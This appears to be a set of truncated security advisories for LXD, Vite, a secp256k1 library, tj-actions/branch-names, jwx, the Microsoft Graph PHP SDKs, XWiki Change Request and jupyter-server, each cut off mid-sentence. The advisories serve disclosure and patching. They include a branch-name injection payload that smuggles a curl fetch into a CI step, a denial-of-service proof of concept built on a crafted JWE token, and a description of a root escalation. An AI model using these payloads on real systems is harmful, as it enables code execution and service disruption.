#git

### Summary If a user has restricted access to a project that is configured with `restricted=true`, they can gain root access on the system by creating a disk device with `shift=true` and creating a setuid root executable. This is possible because the `shift` property is not restricted unless `restricted.devices.disk.paths` is set. ### Details The following patch shows the offending code with a possible fix: ```patch --- a/lxd/device/disk.go +++ b/lxd/device/disk.go @@ -429,17 +429,19 @@ func (d *disk) validateEnvironmentSourcePath() error { if instProject.Name != api.ProjectDefaultName { // If restricted disk paths are in force, then check the disk's source is allowed, and record the // allowed parent path for later user during device start up sequence. - if shared.IsTrue(instProject.Config["restricted"]) && instProject.Config["restricted.devices.disk.paths"] != "" { - allowed, restrictedParentSourcePath :=...

### Summary When Vite's HTML transformation is invoked manually via `server.transformIndexHtml`, the original request URL is passed in unmodified, and the `html` being transformed contains inline module scripts (`<script type="module">...</script>`), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string to `server.transformIndexHtml`. ### Impact Only apps using `appType: 'custom'` and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker. ### Patches Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12 ### Details Suppose `index.html` contains an inline module script: ```html <script type="module"> // Inline script </script> ``` This script is transformed into a proxy script like ```html <script type="module" src="/index.html?html-proxy&index=0.js"></...

### Impact If functions `Encapsulate()`, `Decapsulate()` and `ECDH()` could be called by an attacker, he could recover any private key that he interacts with. ### Patches Patched in v2.0.8 ### Workarounds You could manually check public key by calling `IsOnCurve()` function from secp256k1 libraries. ### References https://github.com/ashutosh1206/Crypton/blob/master/Diffie-Hellman-Key-Exchange/Attack-Invalid-Curve-Point/README.md

### Summary The `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. ### Details The vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable. ```yml runs: using: "composite" steps: - id: branch run: | # "Set branch names..." if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}") HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}") REF=$(printf "%q" "${{ github.ref }}") ``` An attacker can use a branch name to inject arbitrary code, for example: `Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/...

### Summary too high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack ### Details The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack ### PoC ```go package main import ( "fmt" "github.com/lestrrat-go/jwx/v2/jwa" "github.com/lestrrat-go/jwx/v2/jwe" "github.com/lestrrat-go/jwx/v2/jwk" ) func main() { token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUI...

### Impact The Microsoft Graph Beta PHP SDK published packages which contained test code that enabled the use of the phpInfo() function from any application that could access and execute the file at vendor/microsoft/microsoft-graph-beta/tests/GetPhpInfo.php. The phpInfo function exposes system information. The vulnerability affects the GetPhpInfo.php script of the PHP SDK which contains a call to the phpinfo() function. This vulnerability requires a misconfiguration of the server to be present so it can be exploited. For example, making the PHP application’s /vendor directory web accessible. The combination of the vulnerability and the server misconfiguration would allow an attacker to craft an HTTP request that executes the phpinfo() method. The attacker would then be able to get access to system information like configuration, modules, and environment variables and later on use the compromised secrets to access additional data. ### Patches This problem has been patched in...

### Impact The Microsoft Graph Core PHP SDK published packages which contained test code that enabled the use of the phpInfo() function from any application that could access and execute the file at vendor/microsoft/microsoft-graph-core/tests/GetPhpInfo.php. The phpInfo function exposes system information. The vulnerability affects the GetPhpInfo.php script of the PHP SDK which contains a call to the phpinfo() function. This vulnerability requires a misconfiguration of the server to be present so it can be exploited. For example, making the PHP application’s /vendor directory web accessible. The combination of the vulnerability and the server misconfiguration would allow an attacker to craft an HTTP request that executes the phpinfo() method. The attacker would then be able to get access to system information like configuration, modules, and environment variables and later on use the compromised secrets to access additional data. ### Patches This problem has been patched in...

### Impact The Microsoft Graph PHP SDK published packages which contained test code that enabled the use of the phpInfo() function from any application that could access and execute the file at vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php. The phpInfo function exposes system information. The vulnerability affects the GetPhpInfo.php script of the PHP SDK which contains a call to the phpinfo() function. This vulnerability requires a misconfiguration of the server to be present so it can be exploited. For example, making the PHP application’s /vendor directory web accessible. The combination of the vulnerability and the server misconfiguration would allow an attacker to craft an HTTP request that executes the phpinfo() method. The attacker would then be able to get access to system information like configuration, modules, and environment variables and later on use the compromised secrets to access additional data. ### Patches This problem has been patched in versions ...

### Impact Change request allows to edit any page by default, and the changes are then exported in an XML that anyone can download. So it's possible for an attacker to obtain password hash of users by performing edition of the user profiles and then downloading the XML that has been created. This is also true for any document that might contain password field and that a user can view. This vulnerability impacts all version of Change Request, but the impact depends on the rights that has been set on the wiki since it requires for the user to have the Change request right (allowed by default) and view rights on the page to target. Also the issue cannot be easily exploited in an automated way. ### Patches The patch consists in denying to users the right of editing pages that contains a password field with change request. It means that already existing change request for those pages won't be removed by the patch, administrators needs to take care of it. The patch is provided in Chan...

### Impact Unhandled errors in API requests include traceback information, which can include path information. There is no known mechanism by which to trigger these errors without authentication, so the paths revealed are not considered particularly sensitive, given that the requesting user has arbitrary execution permissions already in the same environment. ### Patches jupyter-server PATCHED_VERSION no longer includes traceback information in JSON error responses. For compatibility, the traceback field is present, but always empty. ### Workarounds None